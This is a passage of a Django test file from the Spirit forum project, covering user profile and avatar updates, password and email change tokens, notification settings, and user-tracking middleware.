self.assertRedirects(response, expected_url, status_code=302) self.user.refresh_from_db() self.assertTrue(spirit_storage.exists(self.user.st.avatar.name)) self.assertEqual( self.user.st.avatar.name, 'spirit/avatars/{}/pic_test.jpg'.format(self.user.pk)) self.assertTrue(spirit_storage.exists( 'spirit/avatars/{}/pic_test_small_test.jpg'.format(self.user.pk))) @utils.with_test_storage @utils.immediate_on_commit @override_settings(ST_ALLOWED_AVATAR_FORMAT=('gif',)) def test_profile_update_change_avatar(self): utils.clean_media() utils.login(self) content = ( b'GIF87a\x01\x00\x01\x00\x80\x01\x00\x00\x00\x00ccc,\x00' b'\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;') # store initial avatar self.user.st.avatar = SimpleUploadedFile('foo.gif', content=content) self.user.st.save() self.assertTrue(spirit_storage.exists(self.user.st.avatar.name)) self.assertEqual( self.user.st.avatar.name, 'spirit/avatars/{}/pic_test.gif'.format(self.user.pk)) # change avatar form_data = { 'first_name': 'foo', 'last_name': 'bar', 'location': 'spirit', 'timezone': self.user.st.timezone, 'notify_when': self.user.st.Notify.NEVER, 'avatar': SimpleUploadedFile('foo.gif', content=content)} response = self.client.post( reverse('spirit:user:update'), form_data) expected_url = reverse('spirit:user:update') self.assertRedirects(response, expected_url, status_code=302) self.user.refresh_from_db() self.assertTrue(spirit_storage.exists(self.user.st.avatar.name)) self.assertEqual( self.user.st.avatar.name, 'spirit/avatars/{}/pic_test.jpg'.format(self.user.pk)) with self.user.st.avatar.open() as fh: self.assertNotEqual(fh.read(), content) self.assertTrue(spirit_storage.exists( 'spirit/avatars/{}/pic_test_small_test.jpg'.format(self.user.pk))) @utils.with_test_storage @utils.immediate_on_commit @override_settings(ST_ALLOWED_AVATAR_FORMAT=('gif',)) def test_profile_update_no_change_avatar(self): utils.clean_media() utils.login(self) content = ( b'GIF87a\x01\x00\x01\x00\x80\x01\x00\x00\x00\x00ccc,\x00' b'\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;') # store initial avatar self.user.st.avatar = SimpleUploadedFile('foo.gif', content=content) self.user.st.save() self.assertTrue(spirit_storage.exists(self.user.st.avatar.name)) self.assertEqual( self.user.st.avatar.name, 'spirit/avatars/{}/pic_test.gif'.format(self.user.pk)) # do not change avatar form_data = { 'first_name': 'foo', 'last_name': 'bar', 'location': 'spirit', 'timezone': self.user.st.timezone, 'notify_when': self.user.st.Notify.NEVER} response = self.client.post( reverse('spirit:user:update'), form_data) expected_url = reverse('spirit:user:update') self.assertRedirects(response, expected_url, status_code=302) self.user.refresh_from_db() self.assertTrue(spirit_storage.exists(self.user.st.avatar.name)) self.assertEqual( self.user.st.avatar.name, 'spirit/avatars/{}/pic_test.gif'.format(self.user.pk)) with self.user.st.avatar.open() as fh: self.assertEqual(fh.read(), content) def test_profile_password_change(self): """ profile password change """ user = utils.create_user(password="foo") utils.login(self, user=user, password="foo") form_data = { 'old_password': 'foo', 'new_password1': 'bar', 'new_password2': 'bar'} response = self.client.post( reverse('spirit:user:password-change'), form_data) expected_url = reverse("spirit:user:update") self.assertRedirects(response, expected_url, status_code=302) utils.login(self, user=user, password="bar") # get response = self.client.get(reverse('spirit:user:password-change')) self.assertEqual(response.status_code, 200) def test_profile_password_change_re_login(self): """ Changing the password should invalidate the session """ user = utils.create_user(password="foo") utils.login(self, user=user, password="foo") old_hash = self.client.session[HASH_SESSION_KEY] form_data = { 'old_password': 'foo', 'new_password1': 'bar', 'new_password2': 'bar'} response = self.client.post(reverse('spirit:user:password-change'), form_data) expected_url = reverse("spirit:user:update") self.assertRedirects(response, expected_url, status_code=302) self.assertNotEqual(old_hash, self.client.session[HASH_SESSION_KEY]) def test_email_change_confirm(self): """ email change confirmation """ utils.login(self) new_email = "newfoo@bar.com" token = UserEmailChangeTokenGenerator().generate(self.user, new_email) response = self.client.get(reverse( 'spirit:user:email-change-confirm', kwargs={'token': token})) expected_url = reverse("spirit:user:update") self.assertRedirects(response, expected_url, status_code=302) self.assertEqual(User.objects.get(pk=self.user.pk).email, new_email) def test_email_change_confirm_invalid(self): """ The token should expire after email change """ utils.login(self) old_email = "oldfoo@bar.com" token = UserEmailChangeTokenGenerator().generate(self.user, old_email) new_email = "newfoo@bar.com" User.objects.filter(pk=self.user.pk).update(email=new_email) response = self.client.get(reverse( 'spirit:user:email-change-confirm', kwargs={'token': token})) expected_url = reverse("spirit:user:update") self.assertRedirects(response, expected_url, status_code=302) self.assertEqual(User.objects.get(pk=self.user.pk).email, new_email) def test_email_change_duplicated(self): """ email should be unique """ utils.login(self) utils.create_user(email="duplicated@bar.com") new_email = "duplicated@bar.com" old_email = self.user.email token = UserEmailChangeTokenGenerator().generate(self.user, new_email) self.client.get(reverse( 'spirit:user:email-change-confirm', kwargs={'token': token})) self.assertEqual(User.objects.get(pk=self.user.pk).email, old_email) @override_settings(ST_UNIQUE_EMAILS=False) def test_email_change_duplicated_allowed(self): """ Duplicated email allowed """ utils.login(self) utils.create_user(email="duplicated@bar.com") new_email = "duplicated@bar.com" token = UserEmailChangeTokenGenerator().generate(self.user, new_email) self.client.get(reverse( 'spirit:user:email-change-confirm', kwargs={'token': token})) self.assertEqual(User.objects.get(pk=self.user.pk).email, new_email) @utils.immediate_on_commit def test_profile_email_change(self): """ email change """ user = utils.create_user(password="foo") utils.login(self, user=user, password="foo") form_data = { 'password': 'foo', 'email': 'newfoo@bar.com'} response = self.client.post( reverse('spirit:user:email-change'), form_data) expected_url = reverse("spirit:user:update") self.assertRedirects(response, expected_url, status_code=302) self.assertEqual(len(mail.outbox), 1) self.assertIn(_("Email change"), mail.outbox[0].subject) # get response = self.client.get(reverse('spirit:user:email-change')) self.assertEqual(response.status_code, 200) def test_unsubscribe(self): utils.login(self) self.user.st.notify = self.user.st.Notify.IMMEDIATELY | self.user.st.Notify.REPLY self.user.st.save() token = unsub_token(user_id=self.user.pk) response = self.client.get(reverse( 'spirit:user:unsubscribe', kwargs={'pk': self.user.pk, 'token': token})) expected_url = reverse("spirit:user:update") self.assertRedirects(response, expected_url, status_code=302) self.user.refresh_from_db() self.assertEqual(self.user.st.notify, self.user.st.Notify.NEVER) def test_unsubscribe_bad_user(self): utils.login(self) self.user.st.notify = self.user.st.Notify.IMMEDIATELY | self.user.st.Notify.REPLY self.user.st.save() token = unsub_token(user_id=self.user.pk) user = utils.create_user() response = self.client.get(reverse( 'spirit:user:unsubscribe', kwargs={'pk': user.pk, 'token': token})) expected_url = reverse("spirit:user:update") self.assertRedirects(response, expected_url, status_code=302) self.user.refresh_from_db() self.assertEqual( self.user.st.notify, self.user.st.Notify.IMMEDIATELY | self.user.st.Notify.REPLY) class UserFormTest(TestCase): def setUp(self): utils.cache_clear() self.user = utils.create_user() def test_profile(self): """ edit user profile """ form_data = { 'first_name': 'foo', 'last_name': 'bar', 'location': 'spirit', 'timezone': self.user.st.timezone, 'notify_when': self.user.st.Notify.NEVER} form = UserProfileForm(data=form_data, instance=self.user.st) self.assertEqual(form.is_valid(), True) form = UserForm(data=form_data, instance=self.user) self.assertEqual(form.is_valid(), True) def test_profile_timezone_field(self): form_data = { 'first_name': 'foo', 'last_name': 'bar', 'location': 'spirit', 'timezone': 'UTC', 'notify_when': self.user.st.Notify.NEVER} form = UserProfileForm(data=form_data, instance=self.user.st) self.assertEqual(form.is_valid(), True) form_data['timezone'] = 'badtimezone' form = UserProfileForm(data=form_data, instance=self.user.st) self.assertEqual(form.is_valid(), False) self.assertTrue('timezone' in form.errors) @utils.with_test_storage @utils.immediate_on_commit @override_settings(ST_ALLOWED_AVATAR_FORMAT=('gif',)) def test_profile_avatar(self): utils.clean_media() content = ( b'GIF87a\x01\x00\x01\x00\x80\x01\x00\x00\x00\x00ccc,\x00' b'\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;') form_data = { 'first_name': 'foo', 'last_name': 'bar', 'location': 'spirit', 'timezone': self.user.st.timezone, 'notify_when': self.user.st.Notify.NEVER} data_files = { 'avatar': SimpleUploadedFile('foo.gif', content=content)} form = UserProfileForm(data=form_data, files=data_files, instance=self.user.st) self.assertEqual(form.is_valid(), True) form.save() self.user.refresh_from_db() self.assertTrue(spirit_storage.exists(self.user.st.avatar.name)) self.assertEqual( self.user.st.avatar.name, 'spirit/avatars/{}/pic_test.jpg'.format(self.user.pk)) def test_email_change(self): """ email change """ user = utils.create_user(password="foo") form_data = {'email': 'newfoo@bar.com', 'password': 'foo'} form = EmailChangeForm(data=form_data, user=user) self.assertEqual(form.is_valid(), True) def test_email_change_invalid(self): """ email change invalid """ user = utils.create_user(password="foo", email="newfoo@bar.com") form_data = {'email': 'newfoo@bar.com', 'password': 'bad-password'} form = EmailChangeForm(data=form_data, user=user) self.assertEqual(form.is_valid(), False) self.assertNotIn('email', form.cleaned_data) self.assertNotIn('password', form.cleaned_data) def test_email_change_email_duplication(self): """ email change, don't allow email duplication """ utils.create_user(email="duplicated@bar.com") user = utils.create_user(password="foo") form_data = {'email': 'duplicated@bar.com', 'password': 'foo'} form = EmailChangeForm(data=form_data, user=user) self.assertEqual(form.is_valid(), False) self.assertNotIn('email', form.cleaned_data) @override_settings(ST_UNIQUE_EMAILS=False) def test_email_change_email_duplication_allowed(self): """ Duplicated email allowed """ utils.create_user(email="duplicated@bar.com") user = utils.create_user(password="foo") form_data = {'email': 'duplicated@bar.com', 'password': 'foo'} form = EmailChangeForm(data=form_data, user=user) self.assertEqual(form.is_valid(), True) @override_settings(ST_CASE_INSENSITIVE_EMAILS=True) def test_email_change_email_case_insensitive(self): """ Should lower case the email before validating it """ utils.create_user(email="duplicated@bar.com") user = utils.create_user(password="foo") form_data = {'email': 'DuPlIcAtEd@bAr.COM', 'password': 'foo'} form = EmailChangeForm(data=form_data, user=user) self.assertEqual(form.is_valid(), False) @override_settings(ST_CASE_INSENSITIVE_EMAILS=False) def test_email_change_email_case_sensitive(self): """ Should not lower case the email before validating it """ utils.create_user(email="duplicated@bar.com") user = utils.create_user(password="foo") form_data = {'email': 'DuPlIcAtEd@bAr.COM', 'password': 'foo'} form = EmailChangeForm(data=form_data, user=user) self.assertEqual(form.is_valid(), True) def test_email_check(self): """ Check it's an email """ # Unique email form_data = {'email': 'unique@bar.com'} form = EmailCheckForm(form_data) self.assertTrue(form.is_valid()) # Duplicated email utils.create_user(email="duplicated@bar.com") form_data['email'] = "duplicated@bar.com" form = EmailCheckForm(form_data) self.assertFalse(form.is_valid()) @override_settings(ST_UNIQUE_EMAILS=False) def test_email_check_non_unique(self): """ Duplicated email allowed """ utils.create_user(email="duplicated@bar.com") form_data = {'email': 'duplicated@bar.com', } form = EmailCheckForm(form_data) self.assertTrue(form.is_valid()) @override_settings(ST_CASE_INSENSITIVE_EMAILS=True) def test_email_check_case_insensitive(self): """ Should lower case the email before validating it """ utils.create_user(email="duplicated@bar.com") form_data = {'email': 'DuPlIcAtEd@bAr.COM', } form = EmailCheckForm(form_data) self.assertFalse(form.is_valid()) @override_settings(ST_CASE_INSENSITIVE_EMAILS=False) def test_email_check_case_sensitive(self): """ Should not lower case the email before validating it """ utils.create_user(email="duplicated@bar.com") form_data = {'email': 'DuPlIcAtEd@bAr.COM', } form = EmailCheckForm(form_data) self.assertTrue(form.is_valid()) def test_notify_when(self): form_data = { 'first_name': 'foo', 'last_name': 'bar', 'location': 'spirit', 'timezone': self.user.st.timezone, 'notify_when': self.user.st.Notify.NEVER} form = UserProfileForm(data=form_data, instance=self.user.st) self.assertEqual(form.is_valid(), True) form.save() self.user.refresh_from_db() self.assertEqual( self.user.st.notify_when, self.user.st.Notify.NEVER) form_data['notify_when'] = self.user.st.Notify.IMMEDIATELY form = UserProfileForm(data=form_data, instance=self.user.st) self.assertEqual( form.fields['notify_when'].initial, self.user.st.Notify.NEVER) self.assertEqual(form.is_valid(), True) form.save() self.user.refresh_from_db() self.assertEqual( self.user.st.notify_when, self.user.st.Notify.IMMEDIATELY) form_data['notify_when'] = self.user.st.Notify.WEEKLY form = UserProfileForm(data=form_data, instance=self.user.st) self.assertEqual( form.fields['notify_when'].initial, self.user.st.Notify.IMMEDIATELY) self.assertEqual(form.is_valid(), True) form.save() self.user.refresh_from_db() self.assertEqual( self.user.st.notify_when, self.user.st.Notify.WEEKLY) form = UserProfileForm(data=form_data, instance=self.user.st) self.assertEqual( form.fields['notify_when'].initial, self.user.st.Notify.WEEKLY) self.assertEqual(form.is_valid(), True) def test_notify(self): form_data = { 'first_name': 'foo', 'last_name': 'bar', 'location': 'spirit', 'timezone': self.user.st.timezone, 'notify_when': self.user.st.Notify.IMMEDIATELY} form = UserProfileForm(data=form_data, instance=self.user.st) self.assertEqual(form.is_valid(), True) form.save() self.user.refresh_from_db() self.assertEqual( self.user.st.notify_when, self.user.st.Notify.IMMEDIATELY) self.assertFalse( self.user.st.notify & self.user.st.Notify.MENTION) self.assertFalse( self.user.st.notify & self.user.st.Notify.REPLY) form_data['notify_when'] = self.user.st.Notify.WEEKLY form_data['notify_mentions'] = True form = UserProfileForm(data=form_data, instance=self.user.st) self.assertFalse(form.fields['notify_mentions'].initial) self.assertFalse(form.fields['notify_replies'].initial) self.assertEqual(form.is_valid(), True) form.save() self.user.refresh_from_db() self.assertEqual( self.user.st.notify_when, self.user.st.Notify.WEEKLY) self.assertTrue( self.user.st.notify & self.user.st.Notify.MENTION) self.assertFalse( self.user.st.notify & self.user.st.Notify.REPLY) form_data['notify_when'] = self.user.st.Notify.IMMEDIATELY form_data['notify_mentions'] = False form_data['notify_replies'] = True form = UserProfileForm(data=form_data, instance=self.user.st) self.assertEqual( form.fields['notify_when'].initial, self.user.st.Notify.WEEKLY) self.assertTrue(form.fields['notify_mentions'].initial) self.assertFalse(form.fields['notify_replies'].initial) self.assertEqual(form.is_valid(), True) form.save() self.user.refresh_from_db() self.assertEqual( self.user.st.notify_when, self.user.st.Notify.IMMEDIATELY) self.assertFalse( self.user.st.notify & self.user.st.Notify.MENTION) self.assertTrue( self.user.st.notify & self.user.st.Notify.REPLY) form_data['notify_mentions'] = True form_data['notify_replies'] = True form = UserProfileForm(data=form_data, instance=self.user.st) self.assertEqual( form.fields['notify_when'].initial, self.user.st.Notify.IMMEDIATELY) self.assertFalse(form.fields['notify_mentions'].initial) self.assertTrue(form.fields['notify_replies'].initial) self.assertEqual(form.is_valid(), True) form.save() self.user.refresh_from_db() self.assertEqual( self.user.st.notify_when, self.user.st.Notify.IMMEDIATELY) self.assertTrue( self.user.st.notify & self.user.st.Notify.MENTION) self.assertTrue( self.user.st.notify & self.user.st.Notify.REPLY) form = UserProfileForm(data=form_data, instance=self.user.st) self.assertTrue(form.fields['notify_mentions'].initial) self.assertTrue(form.fields['notify_replies'].initial) self.assertEqual(form.is_valid(), True) class UserModelTest(TestCase): def setUp(self): utils.cache_clear() def test_user_superuser(self): """ is_superuser should always be is_administrator and is_moderator test model """ user = User(is_superuser=True) user.save() self.assertTrue(user.st.is_administrator) self.assertTrue(user.st.is_moderator) def test_user_administrator(self): """ is_administrator should always be is_moderator """ user = User() user.save() user.st.is_administrator = True user.st.save() self.assertTrue(user.st.is_moderator) @override_settings(ST_DOUBLE_POST_THRESHOLD_MINUTES=1) def test_update_post_hash(self): """ Should update the last post hash and date if stored hash doesn't matches the new one and/or stored date is higher than the threshold """ user = User() user.save() self.assertTrue(user.st.update_post_hash('my_hash')) self.assertFalse(user.st.update_post_hash('my_hash')) self.assertTrue(user.st.update_post_hash('my_new_hash')) self.assertFalse(user.st.update_post_hash('my_new_hash')) @override_settings(ST_DOUBLE_POST_THRESHOLD_MINUTES=10) def test_update_post_hash_threshold(self): """ Should update the last post hash when the time threshold has past """ user = User() user.save() self.assertTrue(user.st.update_post_hash('my_hash')) self.assertFalse(user.st.update_post_hash('my_hash')) user.st.last_post_on = timezone.now() - datetime.timedelta(minutes=11) user.st.save() self.assertTrue(user.st.update_post_hash('my_hash')) self.assertFalse(user.st.update_post_hash('my_hash')) @override_settings(ST_DOUBLE_POST_THRESHOLD_MINUTES=1) def test_update_post_hash_threshold(self): """ Should update the last post hash and date for the current user """ user = User(username='foo') user.save() user_b = User(username='bar') user_b.save() self.assertEqual('', User.objects.get(pk=user.pk).st.last_post_hash) self.assertEqual('', User.objects.get(pk=user_b.pk).st.last_post_hash) self.assertTrue(user.st.update_post_hash('my_hash')) self.assertEqual('my_hash', User.objects.get(pk=user.pk).st.last_post_hash) self.assertEqual('', User.objects.get(pk=user_b.pk).st.last_post_hash) @utils.with_test_storage def test_small_avatar_name(self): user = User(username='foo') user.save() content = ( b'GIF87a\x01\x00\x01\x00\x80\x01\x00\x00\x00\x00ccc,\x00' b'\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;') user.st.avatar = SimpleUploadedFile('foo.gif', content=content) user.st.save() self.assertEqual( user.st.small_avatar_name(), 'spirit/avatars/{}/pic_test_small.gif'.format(user.pk)) @utils.with_test_storage def test_small_avatar_url(self): user = User(username='foo') user.save() content = ( b'GIF87a\x01\x00\x01\x00\x80\x01\x00\x00\x00\x00ccc,\x00' b'\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;') user.st.avatar = SimpleUploadedFile('foo.gif', content=content) user.st.save() self.assertEqual( user.st.small_avatar_url(), '/media/spirit/avatars/{}/pic_test_small.gif'.format(user.pk)) class SignalsUserTests(TestCase): def setUp(self): utils.cache_clear() def test_profile_creation_on_save(self): """Should create a profile on user save""" user = utils.create_user() self.assertTrue(UserProfile.objects.filter(user=user).exists()) self.assertEqual(user.st, UserProfile.objects.get(user=user)) @override_settings(ST_CASE_INSENSITIVE_USERNAMES=True) def test_profile_creation_on_user_create_case_insensitive(self): user = utils.create_user(username='UnIqUeFoO') self.assertTrue(user.username, 'uniquefoo') self.assertTrue( User.objects.filter(username='uniquefoo').exists()) self.assertTrue( UserProfile.objects.filter( nickname='UnIqUeFoO', user_id=user.pk ).exists()) @override_settings(ST_CASE_INSENSITIVE_USERNAMES=False) def test_profile_creation_on_user_create_case_insensitive_off(self): user = utils.create_user(username='UnIqUeFoO') self.assertTrue(user.username, 'UnIqUeFoO') self.assertTrue( User.objects.filter(username='UnIqUeFoO').exists()) self.assertTrue( UserProfile.objects.filter( nickname='UnIqUeFoO', user_id=user.pk ).exists()) def test_profile_notify(self): user = utils.create_user() self.assertEqual( user.st.notify, user.st.Notify.NEVER | user.st.Notify.MENTION | user.st.Notify.REPLY) with override_settings(ST_NOTIFY_WHEN='immediately'): user = utils.create_user() self.assertEqual( user.st.notify, user.st.Notify.IMMEDIATELY | user.st.Notify.MENTION | user.st.Notify.REPLY) with override_settings(ST_NOTIFY_WHEN='weekly'): user = utils.create_user() self.assertEqual( user.st.notify, user.st.Notify.WEEKLY | user.st.Notify.MENTION | user.st.Notify.REPLY) with override_settings(ST_NOTIFY_WHEN='never'): user = utils.create_user() self.assertEqual( user.st.notify, user.st.Notify.NEVER | user.st.Notify.MENTION | user.st.Notify.REPLY) class UtilsUserTests(TransactionTestCase): def setUp(self): utils.cache_clear() self.user = utils.create_user() def test_user_activation_token_generator(self): """ Validate if user can be activated """ self.user.st.is_verified = False activation_token = UserActivationTokenGenerator() token = activation_token.generate(self.user) self.assertTrue(activation_token.is_valid(self.user, token)) self.assertFalse(activation_token.is_valid(self.user, "bad token")) # Invalid after verification self.user.st.is_verified = True self.assertFalse(activation_token.is_valid(self.user, token)) # Invalid for different user user2 = utils.create_user() self.assertFalse(activation_token.is_valid(user2, token)) def test_user_email_change_token_generator(self): """ Email change """ new_email = "footoken@bar.com" email_change_token = UserEmailChangeTokenGenerator() token = email_change_token.generate(self.user, new_email) self.assertTrue(email_change_token.is_valid(self.user, token)) self.assertFalse(email_change_token.is_valid(self.user, "bad token")) # get new email self.assertTrue(email_change_token.is_valid(self.user, token)) self.assertEqual(email_change_token.get_email(), new_email) # Invalid for different user user2 = utils.create_user() self.assertFalse(email_change_token.is_valid(user2, token)) # Invalid after email change self.user.email = "email_changed@bar.com" self.assertFalse(email_change_token.is_valid(self.user, token)) @override_settings( ST_TASK_MANAGER='test', DEFAULT_FROM_EMAIL='test@test.com') @utils.immediate_on_commit def test_user_activation_email(self): """ Send activation email """ req = RequestFactory().get('/') send_activation_email(req, self.user) self.assertEqual(len(mail.outbox), 1) self.assertEqual(mail.outbox[0].subject, _("User activation")) self.assertEqual(mail.outbox[0].from_email, 'test@test.com') self.assertIn('https://example.com/user/', mail.outbox[0].body) self.assertEqual(mail.outbox[0].to, [self.user.email]) @override_settings( ST_TASK_MANAGER='test', DEFAULT_FROM_EMAIL='test@test.com') def test_email_change_email(self): """ Send change email """ req = RequestFactory().get('/') new_email = "newfoobar@bar.com" send_email_change_email(req, self.user, new_email) self.assertEqual(len(mail.outbox), 1) self.assertEqual(mail.outbox[0].subject, _("Email change")) self.assertEqual(mail.outbox[0].from_email, 'test@test.com') self.assertIn('https://example.com/user/', mail.outbox[0].body) self.assertEqual(mail.outbox[0].to, [self.user.email]) class TimezoneMiddlewareTest(TestCase): def setUp(self): timezone.deactivate() utils.cache_clear() self.user = utils.create_user() @override_settings(TIME_ZONE='UTC') def test_timezone(self): """ Should activate the user timezone """ timezone.deactivate() utils.login(self) req = RequestFactory().get('/') req.user = self.user time_zone = 'America/Argentina/Buenos_Aires' self.user.st.timezone = time_zone self.assertEqual(timezone.get_current_timezone().zone, 'UTC') middleware.TimezoneMiddleware( lambda req: HttpResponse(status=500)).process_request(req) self.assertEqual(timezone.get_current_timezone().zone, time_zone) @override_settings(TIME_ZONE='UTC') def test_timezone_bad_tz(self): timezone.deactivate() utils.login(self) req = RequestFactory().get('/') req.user = self.user self.user.st.timezone = 'badtimezone' time_zone = 'America/Argentina/Buenos_Aires' timezone.activate(time_zone) self.assertEqual(timezone.get_current_timezone().zone, time_zone) middleware.TimezoneMiddleware( lambda req: HttpResponse(status=500)).process_request(req) self.assertEqual(timezone.get_current_timezone().zone, 'UTC') @override_settings(TIME_ZONE='UTC') def test_timezone_anonymous_user(self): class AnonymUserMock(object): @property def is_authenticated(self): return False timezone.deactivate() req = RequestFactory().get('/') req.user = AnonymUserMock() time_zone = 'America/Argentina/Buenos_Aires' timezone.activate(time_zone) self.assertEqual(timezone.get_current_timezone().zone, time_zone) middleware.TimezoneMiddleware( lambda req: HttpResponse(status=500)).process_request(req) self.assertEqual(timezone.get_current_timezone().zone, 'UTC') class LastIPMiddlewareTest(TestCase): def setUp(self): utils.cache_clear() self.user = utils.create_user() def test_last_ip(self): """ Should update user last_ip """ req = RequestFactory().get('/') req.user = self.user self.assertIsNone(User.objects.get(pk=self.user.pk).st.last_ip) req.META['REMOTE_ADDR'] = '123.123.123.123' self.assertIsNone( middleware.LastIPMiddleware(lambda req: HttpResponse(status=500)) .process_request(req)) self.assertEqual( User.objects.get(pk=self.user.pk).st.last_ip, '123.123.123.123') req.META['REMOTE_ADDR'] = '321.321.321.321' self.assertIsNone( middleware.LastIPMiddleware(lambda req: HttpResponse(status=500)) .process_request(req)) self.assertEqual( User.objects.get(pk=self.user.pk).st.last_ip, '321.321.321.321') def test_last_ip_no_update(self): """ Should update user last_ip """ req = RequestFactory().get('/') req.user = self.user self.user.st.last_ip = '123.123.123.123' self.user.st.save() self.assertEqual( User.objects.get(pk=self.user.pk).st.last_ip, '123.123.123.123') req.META['REMOTE_ADDR'] = '123.123.123.123' self.assertIsNone( middleware.LastIPMiddleware(lambda req: HttpResponse(status=500)) .process_request(req)) self.assertEqual( User.objects.get(pk=self.user.pk).st.last_ip, '123.123.123.123') def test_last_ip_update(self): """ Should update user last_ip """ req = RequestFactory().get('/') req.user = self.user self.user.st.last_ip = '123.123.123.123' self.user.st.save() self.assertEqual( User.objects.get(pk=self.user.pk).st.last_ip, '123.123.123.123') req.META['REMOTE_ADDR'] = '321.321.321.321' self.assertIsNone( middleware.LastIPMiddleware(lambda req: HttpResponse(status=500)) .process_request(req)) self.assertEqual( User.objects.get(pk=self.user.pk).st.last_ip, '321.321.321.321') def test_last_ip_anonym_user(self): """ Should do nothing """ req = RequestFactory().get('/') req.user = AnonymousUser() self.assertIsNone( middleware.LastIPMiddleware(lambda req: HttpResponse(status=500)) .process_request(req)) def test_on_client(self): """ Should be called on a request """ utils.login(self) self.assertIsNone(User.objects.get(pk=self.user.pk).st.last_ip) response = self.client.get( reverse('spirit:index'), REMOTE_ADDR='123.123.123.123') self.assertEqual(response.status_code, 200) self.assertEqual( User.objects.get(pk=self.user.pk).st.last_ip, '123.123.123.123') class LastSeenMiddlewareTest(TestCase): def setUp(self): utils.cache_clear() self.user = utils.create_user() @override_settings(ST_USER_LAST_SEEN_THRESHOLD_MINUTES=1) def test_last_seen(self): """ Should update user last_seen when threshold is reached """ req = RequestFactory().get('/') req.user = self.user self.assertTrue(req.user.is_authenticated) delta = datetime.timedelta( seconds=settings.ST_USER_LAST_SEEN_THRESHOLD_MINUTES * 60 + 1) self.assertEqual( UserProfile.objects .filter(pk=req.user.st.pk) .update(last_seen=timezone.now() - delta), 1) # Some DBs don't save microseconds, so get the real value last_seen = UserProfile.objects.get(pk=req.user.st.pk).last_seen req.user.st.last_seen = last_seen self.assertIsNone( middleware.LastSeenMiddleware(lambda req: HttpResponse(status=500)) .process_request(req)) self.assertGreater( UserProfile.objects.get(pk=req.user.st.pk).last_seen, last_seen) @override_settings(ST_USER_LAST_SEEN_THRESHOLD_MINUTES=1) def test_last_seen_no_update(self): """ Should not update user last_seen when threshold is not reached """ req = RequestFactory().get('/') req.user = self.user self.assertTrue(req.user.is_authenticated) delta = datetime.timedelta( seconds=settings.ST_USER_LAST_SEEN_THRESHOLD_MINUTES * 60 - 1) self.assertEqual( UserProfile.objects .filter(pk=req.user.st.pk) .update(last_seen=timezone.now() - delta), 1) last_seen = UserProfile.objects.get(pk=req.user.st.pk).last_seen req.user.st.last_seen = last_seen self.assertIsNone( middleware.LastSeenMiddleware(lambda req: HttpResponse(status=500)) .process_request(req)) self.assertEqual( UserProfile.objects.get(pk=req.user.st.pk).last_seen, last_seen) def test_last_seen_anonym_user(self): """ Should do nothing """ req = RequestFactory().get('/') req.user = AnonymousUser() self.assertFalse(req.user.is_authenticated) self.assertIsNone( middleware.LastSeenMiddleware(lambda req: HttpResponse(status=500)) .process_request(req)) @override_settings(ST_USER_LAST_SEEN_THRESHOLD_MINUTES=1) def test_on_client(self): """ Should be called on a request """ utils.login(self) delta = datetime.timedelta( seconds=settings.ST_USER_LAST_SEEN_THRESHOLD_MINUTES * 60 + 1) self.assertEqual( UserProfile.objects .filter(pk=self.user.st.pk) .update(last_seen=timezone.now() - delta), 1) last_seen = UserProfile.objects.get(pk=self.user.st.pk).last_seen response = self.client.get(reverse('spirit:index')) self.assertEqual(response.status_code, 200) self.assertGreater( UserProfile.objects.get(pk=self.user.st.pk).last_seen, last_seen) class ActiveUserMiddlewareTest(TestCase): def setUp(self): utils.cache_clear() self.user = utils.create_user() def test_active_user(self): """ Should logout inactive user """ utils.login(self) response = self.client.get(reverse('spirit:index')) self.assertEqual(response.status_code, 200) self.assertTrue(self.client.session.items()) User.objects.filter(pk=self.user.pk).update(is_active=False) self.user.is_active = False response = self.client.get(reverse('spirit:index')) self.assertEqual(response.status_code, 200) self.assertFalse(self.client.session.items()) def test_active_user_mocked(self): """ Should logout inactive user """ client = self.client assertTrue = self.assertTrue assertFalse = self.assertFalse class ActiveUserMiddlewareMock(middleware.ActiveUserMiddleware): _calls = [] def process_request(self, request): self._calls.append(request) assertTrue(client.session.items()) ret = super(ActiveUserMiddlewareMock, self).process_request(request) assertFalse(client.session.items()) return ret utils.login(self) User.objects.filter(pk=self.user.pk).update(is_active=False) self.user.is_active = False self.assertFalse(ActiveUserMiddlewareMock._calls) org_mid, middleware.ActiveUserMiddleware = ( middleware.ActiveUserMiddleware, ActiveUserMiddlewareMock) try: self.client.get(reverse('spirit:index')) finally: middleware.ActiveUserMiddleware = org_mid self.assertTrue(ActiveUserMiddlewareMock._calls) def test_active_user_is_active(self): """ Should do nothing """ req = RequestFactory().get('/') req.user = self.user self.assertTrue(req.user.is_authenticated) self.assertIsNone( middleware.ActiveUserMiddleware(lambda req: HttpResponse(status=500)) .process_request(req)) def test_active_user_anonym_user(self): """ Should do nothing """ req = RequestFactory().get('/') req.user = AnonymousUser() self.assertFalse(req.user.is_authenticated) self.assertIsNone( middleware.ActiveUserMiddleware(lambda req: HttpResponse(status=500)) .process_request(req)) class UserMigrationsTest(TestCase): def setUp(self): utils.cache_clear() def test_migration_11(self): # create users with the CI feature off # to replicate pre feature database state with override_settings(ST_CASE_INSENSITIVE_USERNAMES=False): utils.create_user(username='FOO') utils.create_user(username='BaR') utils.create_user(username='baz') # default all nicknames to empty self.assertEqual( UserProfile.objects.all().update(nickname=''), 3) data_migration_11.populate_nickname(apps, None) self.assertEqual( [u.nickname for u in UserProfile.objects.all()], ['FOO', 'BaR', 'baz']) self.assertEqual( [u.username for u in User.objects.all()], ['FOO', 'BaR', 'baz']) data_migration_11.make_usernames_lower(apps, None) self.assertEqual( [u.username for u in User.objects.all()], ['foo', 'bar', 'baz']) self.assertEqual( [u.nickname for u in UserProfile.objects.all()], ['FOO', 'BaR', 'baz']) @override_settings(ST_CASE_INSENSITIVE_USERNAMES=False) def test_migration_11_no_ci_usernames(self): utils.create_user(username='FOO') utils.create_user(username='foo') utils.create_user(username='BaR') utils.create_user(username='bar') utils.create_user(username='baz') self.assertEqual( UserProfile.objects.all().update(nickname=''), 5) data_migration_11.populate_nickname(apps, None) self.assertEqual( [u.nickname for u in UserProfile.objects.all()], ['FOO', 'foo', 'BaR', 'bar', 'baz']) self.assertEqual( [u.username for u in User.objects.all()], ['FOO', 'foo', 'BaR', 'bar', 'baz']) data_migration_11.make_usernames_lower(apps, None) 